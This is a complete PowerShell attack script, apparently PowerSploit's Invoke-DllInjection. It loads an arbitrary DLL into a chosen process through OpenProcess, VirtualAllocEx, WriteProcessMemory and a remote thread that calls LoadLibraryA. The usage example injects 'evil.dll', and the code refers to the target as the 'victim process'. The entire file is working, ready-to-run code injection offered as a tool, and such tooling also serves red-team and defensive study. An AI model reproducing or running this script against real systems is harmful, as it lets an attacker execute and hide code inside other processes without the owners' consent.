function Invoke-DllInjection
{
<#
.SYNOPSIS

Injects a Dll into the process ID of your choosing.

PowerSploit Function: Invoke-DllInjection
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None

.DESCRIPTION

Invoke-DllInjection injects a Dll into an arbitrary process.

.PARAMETER ProcessID

Process ID of the process you want to inject a Dll into.

.PARAMETER Dll

Name of the dll to inject. This can be an absolute or relative path.

.EXAMPLE

Invoke-DllInjection -ProcessID 4274 -Dll evil.dll

Description
-----------
Inject 'evil.dll' into process ID 4274.

.NOTES

Use the '-Verbose' option to print detailed information.

.LINK

http://www.exploit-monday.com
#>

    Param (
        [Parameter( Position = 0, Mandatory = $True )]
        [Int]
        $ProcessID,

        [Parameter( Position = 1, Mandatory = $True )]
        [String]
        $Dll
    )

    # Confirm that the process you want to inject into exists
    try
    {
        Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
    }
    catch [System.Management.Automation.ActionPreferenceStopException]
    {
        Throw "Process does not exist!"
    }

    # Confirm that the path to the dll exists
    try
    {
        $Dll = (Resolve-Path $Dll -ErrorAction Stop).Path
        Write-Verbose "Full path to Dll: $Dll"
        $AsciiEncoder = New-Object System.Text.ASCIIEncoding
        # Save the name of the dll in an ascii-encoded format. This name will be injected into the remote process.
        $DllByteArray = $AsciiEncoder.GetBytes($Dll)
    }
    catch [System.Management.Automation.ActionPreferenceStopException]
    {
        Throw "Invalid Dll path!"
    }

    function Local:Get-DelegateType
    {
        Param
        (
            [OutputType([Type])]

            [Parameter( Position = 0)]
            [Type[]]
            $Parameters = (New-Object Type[](0)),

            [Parameter( Position = 1 )]
            [Type]
            $ReturnType = [Void]
        )

        $Domain = [AppDomain]::CurrentDomain
        $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
        $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
        $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
        $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
        $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
        $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
        $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
        $MethodBuilder.SetImplementationFlags('Runtime, Managed')

        Write-Output $TypeBuilder.CreateType()
    }

    function Local:Get-ProcAddress
    {
        Param
        (
            [OutputType([IntPtr])]

            [Parameter( Position = 0, Mandatory = $True )]
            [String]
            $Module,

            [Parameter( Position = 1, Mandatory = $True )]
            [String]
            $Procedure
        )

        # Get a reference to System.dll in the GAC
        $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
            Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
        $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
        # Get a reference to the GetModuleHandle and GetProcAddress methods
        $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
        $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))
        # Get a handle to the module specified
        $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
        $tmpPtr = New-Object IntPtr
        $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)

        # Return the address of the function
        Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
    }

    function Local:Get-PEArchitecture
    {
        Param
        (
            [Parameter( Position = 0,
                        Mandatory = $True )]
            [String]
            $Path
        )

        # Parse PE header to see if binary was compiled 32 or 64-bit
        $FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read)

        [Byte[]] $MZHeader = New-Object Byte[](2)
        $FileStream.Read($MZHeader,0,2) | Out-Null

        $Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader)
        if ($Header -ne 'MZ')
        {
            $FileStream.Close()
            Throw 'Invalid PE header.'
        }

        # Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header)
        $FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null

        [Byte[]] $lfanew = New-Object Byte[](4)

        # Read offset to the PE Header (will be read in reverse)
        $FileStream.Read($lfanew,0,4) | Out-Null
        $PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | % { $_.ToString('X2') } ) -join ''))

        # Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE
        $FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null
        [Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2)

        # Read compiled architecture
        $FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null
        $Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | % { $_.ToString('X2') } ) -join '')
        $FileStream.Close()

        if ($Architecture -eq '014C')
        {
            Write-Output 'X86'
        }
        elseif ($Architecture -eq '8664')
        {
            Write-Output 'X64'
        }
        else
        {
            Throw 'Invalid PE header or unsupported architecture.'
        }
    }


    # Get addresses of and declare delegates for essential Win32 functions.
    $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
    $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
    $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
    $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
    $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
    $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
    $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx
    $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32]) ([Bool])
    $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate)
    $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
    $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
    $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
    $RtlCreateUserThreadAddr = Get-ProcAddress ntdll.dll RtlCreateUserThread
    $RtlCreateUserThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Bool], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([UInt32])
    $RtlCreateUserThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RtlCreateUserThreadAddr, $RtlCreateUserThreadDelegate)
    $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
    $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
    $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)

    # Determine the bitness of the running PowerShell process based upon the size of the IntPtr type.
    if ([IntPtr]::Size -eq 4)
    {
        $PowerShell32bit = $True
    }
    else
    {
        $PowerShell32bit = $False
    }

    $OSArchitecture = (Get-WmiObject Win32_OperatingSystem).OSArchitecture

    switch ($OSArchitecture)
    {
        '32-bit' { $64bitOS = $False }
        '32 bit' { $64bitOS = $False }
        '64-bit' { $64bitOS = $True }
        '64 bit' { $64bitOS = $True }
    }

    # The address for IsWow64Process will be returned if and only if running on a 64-bit CPU. Otherwise, Get-ProcAddress will return $null.
    $IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process

    if ($IsWow64ProcessAddr)
    {
        $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
        $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
    }

    $Architecture = Get-PEArchitecture $Dll

    Write-Verbose "Architecture of the dll to be injected: $Architecture"

    # Open a handle to the process you want to inject into
    $hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)

    if (!$hProcess)
    {
        Throw 'Unable to open process handle.'
    }

    if ($64bitOS) # Only perform these checks if OS is 64-bit
    {
        if ( ($Architecture -ne 'X86') -and ($Architecture -ne 'X64') )
        {
            Throw 'Only x86 or AMD64 architectures supported.'
        }

        # Determine is the process specified is 32 or 64 bit. Assume that it is 64-bit unless determined otherwise.
        $IsWow64 = $False
        $IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null

        if ( $PowerShell32bit -and ($Architecture -eq 'X64') )
        {
            Throw 'You cannot manipulate 64-bit code within 32-bit PowerShell. Open the 64-bit version and try again.'
        }

        if ( (!$IsWow64) -and ($Architecture -eq 'X86') )
        {
            Throw 'You cannot inject a 32-bit DLL into a 64-bit process.'
        }

        if ( $IsWow64 -and ($Architecture -eq 'X64') )
        {
            Throw 'You cannot inject a 64-bit DLL into a 32-bit process.'
        }
    }
    else
    {
        if ($Architecture -ne 'X86')
        {
            Throw 'PE file was not compiled for x86.'
        }
    }

    # Get address of LoadLibraryA function
    $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
    Write-Verbose "LoadLibrary address: 0x$($LoadLibraryAddr.ToString("X$([IntPtr]::Size*2)"))"

    # Reserve and commit memory to hold name of dll
    $RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Dll.Length, 0x3000, 4) # (0x3000 = Reserve|Commit, 4 = RW)
    if ($RemoteMemAddr -eq [IntPtr]::Zero)
    {
        Throw 'Unable to allocate memory in remote process. Try running PowerShell elevated.'
    }
    Write-Verbose "DLL path memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"

    # Write the name of the dll to the remote process address space
    $WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $DllByteArray, $Dll.Length, [Ref] 0) | Out-Null
    Write-Verbose "Dll path written sucessfully."

    # Execute dll as a remote thread
    $Result = $RtlCreateUserThread.Invoke($hProcess, [IntPtr]::Zero, $False, 0, [IntPtr]::Zero, [IntPtr]::Zero, $LoadLibraryAddr, $RemoteMemAddr, [IntPtr]::Zero, [IntPtr]::Zero)
    if ($Result)
    {
        Throw "Unable to launch remote thread. NTSTATUS: 0x$($Result.ToString('X8'))"
    }

    $VirtualFreeEx.Invoke($hProcess, $RemoteMemAddr, $Dll.Length, 0x8000) | Out-Null # MEM_RELEASE (0x8000)

    # Close process handle
    $CloseHandle.Invoke($hProcess) | Out-Null

    # Extract just the filename from the provided path to the dll.
    $FileName = Split-Path $Dll -Leaf
    $DllInfo = (Get-Process -Id $ProcessID).Modules | ? { $_.FileName.Contains($FileName) }

    if (!$DllInfo)
    {
        Throw "Dll did not inject properly into the victim process."
    }

    Write-Verbose 'Dll injection complete!'

    $DllInfo
}
